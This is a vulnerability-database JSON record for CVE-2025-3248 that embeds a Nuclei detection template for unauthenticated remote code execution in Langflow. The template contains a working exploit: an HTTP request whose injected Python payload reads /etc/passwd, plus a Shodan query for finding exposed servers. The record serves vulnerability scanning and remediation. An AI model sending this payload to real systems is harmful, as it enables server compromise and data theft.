{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-3248/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-3248/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-3248/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-3248/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-3248/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-3248"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-3248"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-3248.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-3248\n\ninfo:\n  name: Langflow AI - Unauthenticated Remote Code Execution\n  author: nvn1729\n  severity: critical\n  description: |\n    Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise.\n  remediation: |\n    Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions.\n  reference:\n    - https://github.com/langflow-ai/langflow/pull/6911\n    - https://github.com/langflow-ai/langflow/releases/tag/1.3.0\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-3248\n    cwe-id: CWE-306\n    epss-score: 0.99993\n    epss-percentile: 0.99987\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"code\": \"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output([\\\"cat\\\", \\\"/etc/passwd\\\"]))')\\ndef foo():\\n  pass\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402207e34db43f08cfdf803534dc553152c9e15a0cbcf022df12de89a077733c1ddda0220051ff8fdc7c8e2bd2ce23b2db5764d94638bac86d81defdd9e2751d55d1da6f7:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-3248"
}